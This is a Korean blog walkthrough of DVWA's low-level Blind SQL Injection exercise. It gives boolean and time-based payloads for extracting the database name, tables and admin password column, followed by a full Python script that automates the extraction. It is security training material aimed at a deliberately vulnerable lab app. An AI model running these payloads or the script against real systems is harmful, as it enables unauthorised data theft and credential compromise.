DVWA : SQL Injection (Blind) - Low level : Blind SQL Injection
이 문서에 포함된 어떠한 내용도 불법적이거나 비윤리적인 목적으로 보안 도구나 방법론을 사용하도록 가르치거나 장려하지 않습니다. 항상 책임감 있는 태도로 행동하세요. 여기에 설명된 도구나 기법을 사용하기 전에 개인 테스트 환경 또는 허가를 받았는지 확인하세요. |
[ 환경 ]
DVWA | v1.9 |
Burp Suite | Community Edition v2024.11.2 |
Blind SQL Injection은 웹 애플리케이션에서 발생할 수 있는 SQL Injection의 한 유형으로, 애플리케이션이 데이터베이스와 상호작용하면서 발생하는 보안 취약점을 악용한 공격 방식이다. 이 공격은 데이터베이스의 직접적인 응답이 사용자에게 노출되지 않는 상황에서도, 공격자가 간접적인 방법을 통해 정보를 추출할 수 있다는 점에서 그 위험성이 크다.
일반적인 SQL Injection은 데이터베이스의 쿼리 결과나 오류 메시지가 응답으로 반환되는 경우를 전제로 한다. 하지만 Blind SQL Injection은 데이터베이스의 오류 메시지나 쿼리 결과가 노출되지 않는 경우에도, 애플리케이션의 응답(HTTP 상태 코드, 페이지 내용 변화, 응답 시간 등)을 기반으로 정보를 추론하는 기법이다.
공격자는 단순히 애플리케이션의 응답이 참(True)인지 거짓(False)인지 확인하면서 데이터를 하나씩 추출한다. 이 과정은 반복적이고 시간이 많이 소요되지만, 성공할 경우 데이터베이스의 구조와 민감한 정보를 노출할 수 있다.
Boolean-Based Blind SQL Injection
' OR 1=1 -- (참: 페이지 정상 출력)
' OR 1=2 -- (거짓: 페이지 출력 변화)
Time-Based Blind SQL Injection
' OR IF(1=1, SLEEP(5), 0) -- (참: 5초 지연 발생)
' OR IF(1=2, SLEEP(5), 0) -- (거짓: 지연 없음)
사용자가 제공한 id 값을 데이터베이스 쿼리에 삽입하여 특정 사용자의 정보를 검색하는 기능을 수행한다. 그러나 이 코드는 보안적으로 매우 취약하며, SQL Injection 공격에 노출될 가능성이 크다.
$id = $_GET[ 'id' ];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
SELECT first_name, last_name FROM users WHERE user_id = '123';
$result = mysql_query( $getid )
$num = @mysql_numrows( $result )
if( $num > 0 ) {
echo '<pre>User ID exists in the database.</pre>';
}
else {
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
SQL 로그인 양식이나 입력 양식에 SQL Injection에 취약한지 어떻게 알 수 있을까? 데이터베이스에 참 또는 거짓 질문을 하는 다양한 SQL 쿼리를 만들어서 확인 가능하다. (TRUE 문과 FALSE 문 사이의 응답 차이를 분석)
참인 경우(1' and 1=1#)와 거짓은 경우(1' and 1=0#)를 입력해서 변화를 살펴보면, 참인 경우 "사용자 ID가 데이터 베이스에 존재합니다 (User ID exists in the database.)"라는 메시지를 출력 거짓인 경우 "사용자 ID가 데이터베이스에 존재하지 않습니다 (User ID is MISSING from the database.)" 메시지 출력한다.
ㅁ 데이터베이스 열의 개수 확인
order by를 이용해서 열의 수를 확인할 수 있다. ORDER BY 절은 쿼리 결과를 특정 열이나 열들에 따라 정렬하는 데 사용한다. order by를 이용해서 열의 수를 찾는 방법은 오류가 발생할 때까지 열 수를 하나씩 늘리며 여기서 오류는 오류 메시지나 빈 페이지일 수 있다. (서버가 잘못된 것으로 판단)
1' order by 1#을 전송하면 참인 경우인 사용자 ID가 데이터 베이스에 존재합니다.라는 메시지를 출력하는 것을 확인할 수 있으며, 오류가 생기거나 페이지가 거짓으로 간주할 때까지 1' order by 2#, 1' order by 3#와 같이 1씩 증가시키면서 계속 입력한다. 3에서 거짓 반응을 얻었으므로 데이터베이스의 열의 수는 2개라는 것을 알 수 있다.
ORDER BY 절을 이용해서 열의 개수를 확인하는 방법 이외에 union select를 사용해서도 열의 개수를 확인할 수 있다. UNION 연산자는 두 개의 SELECT 문에서 중복된 행을 제거하고 결과 집합을 결합한다. union select를 이용해서 열의 수를 찾는 방법은 오류가 발생하지 않을 때까지 열 수를 하나씩 늘리며 여기서 오류는 오류 메시지나 빈 페이지일 수 있다. (서버가 잘못된 것으로 판단)
1' union select 1#을 전송하면 거짓 경우인 사용자 ID가 데이터 베이스에 존재하지 않습니다 라는 메시지를 출력하는 것을 확인할 수 있다. 오류가 발생하지 않거나 페이지가 참으로 간주할 때까지 1' union select 1# , 1' union select 1,2# 와 같이 1씩 증가시키면서 계속 입력한다. 2에서 참 반응을 얻었으므로 데이터베이스의 열의 수는 2개라는 것을 알 수 있다.
ㅁ 데이터베이스 이름의 길이 확인
1' AND LENGTH(DATABASE())=1#를 전송하면, 거짓 경우인 사용자 ID가 데이터 베이스에 존재하지 않습니다 라는 메시지를 출력하는 것을 확인할 수 있다. DATABASE()는 현재 사용 중인 데이터베이스의 이름을 문자열로 반환하며, LENGTH(str)는 입력된 문자열 str의 길이를 반환하며 여기서 길이는 문자열의 문자 수를 의미한다. 앞서 열의 개수를 확인하는 방법과 동일하게 참 메시지인 사용자 ID가 데이터 베이스에 존재합니다 라는 메시지가 출력될 때까지 1씩 증가하면, 1' AND LENGTH(DATABASE())=4#에서 참 메시지를 출력하는 것으로 보아 데이터베이스 이름의 길이는 4자리로 확인할 수 있다.
ㅁ 데이터베이스 이름 확인
1' AND ASCII(SUBSTR(DATABASE(),1,1))=[ASCII 코드 10진수]#을 전송하여 반응을 확인하면서 데이터베이스의 이름을 확인한다. ASCII 함수는 문자 하나를 입력받아 그 문자의 ASCII 코드를 반환, SUBSTR 함수는 문자열에서 부분 문자열을 추출한다.
데이터베이스 이름을 확인하기 위해 a를 의미하는 97부터 1씩 증가시키면서 참 반응을 보이는 문자를 확인한 결과 1' AND ASCII(SUBSTR(DATABASE(),1,1))=100#에서 참 반응을 보이는 것으로 보아 데이터베이스의 첫 번째 문자는 d인 것을 확인하였다. 두 번째 문자를 확인은 1' AND ASCII(SUBSTR(DATABASE(),2,1))=[ASCII 코드 10진수]# 로 첫 번째 확인 방법과 동일하게 진행한다. 같은 방식으로 앞서 확인한 데이터베이스 이름의 길이만큼 진행하면 최종적으로 데이터베이스 이름은 dvwa라는 것을 확인할 수 있다.
1' AND ASCII(SUBSTR(DATABASE(),1,1))=100#
1' AND ASCII(SUBSTR(DATABASE(),2,1))=118#
1' AND ASCII(SUBSTR(DATABASE(),3,1))=119#
1' AND ASCII(SUBSTR(DATABASE(),4,1))=97#
ㅁ dvwa 데이터베이스의 테이블 목록 확인
테이블 목록은 information.tables나 information.columns의 table_name 칼럼을 이용하여 확인할 수 있다. 여기서는 information.columns의 table_name을 이용하여 dvwa 데이터베이스의 테이블 목록을 확인하도록 하겠다.
기본 구조는 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema= 'dvwa' LIMIT 0,1),1,1) = '문자’# 형태를 가지며, 일치하는 문자가 입력되면 참 반응을 보인다. 첫 번째 테이블 이름을 확인하기 위해 1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema= 'dvwa' LIMIT 0,1),1,1) = 'a'#부터 증가하며 참 반응을 보이는 문자를 확인한 결과 guestbook을 확인하였다.
두 번째 테이블 이름을 확인하기 위해 1' AND substr((SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 1,1),1,1) ='a'#부터 증가하며 참 반응을 보이는 문자를 확인한 결과 users를 확인하였다.
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),1,1) = 'g'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),2,1) = 'u'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),3,1) = 'e'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),4,1) = 's'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),5,1) = 't'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),6,1) = 'b'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),7,1) = 'o'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),8,1) = 'o'#
1' AND substr( (SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 0,1),9,1) = 'k'#
1' AND substr((SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 1,1),1,1) = 'u'#
1' AND substr((SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 1,1),2,1) = 's'#
1' AND substr((SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 1,1),3,1) = 'e'#
1' AND substr((SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 1,1),4,1) = 'r'#
1' AND substr((SELECT DISTINCT table_name FROM information_schema.columns WHERE table_schema='dvwa' LIMIT 1,1),5,1) = 's'#
dvwa.users 테이블의 컬럼 목록 확인
1' AND substr( (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1),1,1) = '문자'#
dvwa.users 테이블의 password 컬럼 조회
1' AND substr( (SELECT password FROM users WHERE user='admin' LIMIT 0,1),1,1) = '문자'#
Blind SQL Injection은 수작업으로 진행하기에는 너무 많은 시간과 계산이 필요하기 때문에 Python Code로 작성해서 자동으로 추출하였다. (아래 코드는 불법적이거나 비윤리적인 목적으로 사용을 금한다. 사용하기 전 개인 테스트 환경 또는 허가를 받았는지 확인 후 사용하며, 아래 코드를 사용함에 있어 책임은 본인에게 있다는 사실을 명심해야 한다.)
▼ Blind SQL Injection Python Code
import requests
# DVWA URL 및 세션 설정
DVWA_URL = "http://192.168.107.144/vulnerabilities/sqli_blind/" # DVWA의 SQLi Blind 페이지 URL
DVWA_SESSION_COOKIE = "PHPSESSID=huufuf0i05qapk0b17c3m5ub50; security=low" # 세션 쿠키 설정
# 헤더 정의
HEADERS = {
"Cookie": DVWA_SESSION_COOKIE,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
# 참/거짓에 따른 응답의 기준이 되는 문자열
TRUE_RESPONSE_TEXT = "User ID exists in the database."
# SQL Injection 테스트 함수
def test_sql_injection(query):
"""
Blind SQL Injection 쿼리를 테스트합니다.
"""
payload = f"1' AND ({query})-- -" # SQL Injection 페이로드
params = {"id": payload, "Submit": "Submit"} # GET 파라미터 설정
response = requests.get(DVWA_URL, headers=HEADERS, params=params)
# 응답 내용에서 참/거짓 판별
return TRUE_RESPONSE_TEXT in response.text
# 데이터베이스 길이 추출
def get_database_length():
for length in range(1, 50): # 길이를 1부터 50까지 추정
query = f"LENGTH(database())={length}"
if test_sql_injection(query):
print(f"[+] Database name length: {length}")
return length
print("[-] Failed to retrieve database name length")
return 0
# 데이터베이스 이름 추출
def get_database_name(length):
database_name = ""
for position in range(1, length + 1):
for char in range(32, 127): # ASCII 범위
query = f"ASCII(SUBSTRING(database(), {position}, 1))={char}"
if test_sql_injection(query):
database_name += chr(char)
print(f"[+] Found character: {chr(char)} at position {position}")
break
print(f"[+] Database name: {database_name}")
return database_name
# 테이블 개수 추출
def get_table_count(database_name):
for count in range(1, 100):
query = f"(SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{database_name}')={count}"
if test_sql_injection(query):
print(f"[+] Number of tables in database '{database_name}': {count}")
return count
print("[-] Failed to retrieve table count")
return 0
# 테이블 이름 추출
def get_table_names(database_name, table_count):
table_names = []
for index in range(0, table_count):
table_name = ""
for position in range(1, 50): # 최대 테이블 이름 길이 50으로 가정
found_char = False
for char in range(32, 127): # ASCII 범위
query = f"ASCII(SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='{database_name}' LIMIT {index},1), {position}, 1))={char}"
if test_sql_injection(query):
table_name += chr(char)
found_char = True
break
if not found_char:
break # 더 이상 글자가 없으면 종료
table_names.append(table_name)
print(f"[+] Found table name: {table_name}")
return table_names
# 메인 실행 로직
if __name__ == "__main__":
print("[*] Starting Blind SQL Injection Test on DVWA (Low Level)")
# 데이터베이스 이름 길이 가져오기
db_length = get_database_length()
if db_length > 0:
# 데이터베이스 이름 추출
database_name = get_database_name(db_length)
# 테이블 개수 추출
table_count = get_table_count(database_name)
if table_count > 0:
# 테이블 이름 추출
get_table_names(database_name, table_count)
else:
print("[-] Could not determine database name.")
ㅁ 같이 보기
DVWA : SQL Injection - Impossible level (0) | 2025.01.14 |
---|---|
DVWA : SQL Injection - High level (0) | 2025.01.07 |
DVWA : SQL Injection - Medium level (0) | 2025.01.06 |
DVWA : SQL Injection - Low level (0) | 2025.01.05 |
DVWA : File Upload - Impossible level (0) | 2025.01.05 |